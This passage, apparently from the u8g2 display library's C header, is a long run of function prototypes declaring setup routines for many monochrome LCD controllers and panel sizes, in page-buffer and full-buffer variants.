u8g2_Setup_st7567_122x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_122x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_122x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_122x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_122x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_122x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_64x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_hem6432_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_64x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_hem6432_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_64x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_hem6432_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_64x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_hem6432_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_64x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_hem6432_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_64x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7567_i2c_hem6432_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7571_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7571_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7571_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7571_i2c_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7571_i2c_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7571_i2c_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7571_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7571_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7571_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7571_i2c_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7571_i2c_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7571_i2c_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7586s_s028hn118a_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7586s_s028hn118a_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7586s_s028hn118a_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7586s_jlx384160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7586s_jlx384160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7586s_jlx384160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7586s_erc240160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7586s_ymc240160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7586s_erc240160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7586s_ymc240160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7586s_erc240160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7586s_ymc240160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7588_jlx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7588_jlx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7588_jlx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7588_i2c_jlx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7588_i2c_jlx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7588_i2c_jlx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75160_jm16096_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75160_jm16096_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75160_jm16096_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75160_i2c_jm16096_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75160_i2c_jm16096_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75160_i2c_jm16096_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx256128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_wo256x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx256128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_wo256x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx256128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_wo256x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx256128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_wo256x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx256128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_wo256x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx256128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_wo256x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx256160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx256160m_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx256160_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx256160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx256160m_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx256160_alt_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx256160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx256160m_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx256160_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx256160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx256160m_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx256160_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx256160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx256160m_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx256160_alt_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx256160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx256160m_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx256160_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx240160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx240160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx240160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx240160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx240160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx240160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx25664_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx25664_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx25664_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx25664_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx25664_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx25664_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx172104_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx172104_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx172104_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx172104_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx172104_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx172104_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx19296_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx19296_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx19296_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx19296_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx19296_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx19296_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx16080_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx16080_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_jlx16080_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx16080_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx16080_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75256_i2c_jlx16080_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75320_jlx320240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75320_jlx320240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75320_jlx320240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75320_i2c_jlx320240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75320_i2c_jlx320240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st75320_i2c_jlx320240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_nt7534_tg12864r_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_nt7534_tg12864r_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_nt7534_tg12864r_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ist3020_erc19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ist3020_erc19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ist3020_erc19264_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ist3088_320x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ist3088_320x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ist3088_320x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ist7920_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ist7920_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ist7920_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sbn1661_122x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sbn1661_122x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sbn1661_122x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sed1520_122x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sed1520_122x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sed1520_122x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ks0108_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ks0108_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ks0108_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ks0108_erm19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ks0108_erm19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ks0108_erm19264_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_t7932_150x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_t7932_150x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_t7932_150x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_hd44102_100x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_hd44102_100x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_hd44102_100x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_lc7981_160x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_lc7981_160x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_lc7981_160x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_lc7981_160x160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_lc7981_160x160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_lc7981_160x160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_lc7981_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_lc7981_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_lc7981_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_lc7981_240x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_lc7981_240x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_lc7981_240x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_lc7981_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_lc7981_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_lc7981_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_t6963_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_t6963_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_t6963_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_t6963_240x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_t6963_240x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_t6963_240x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb 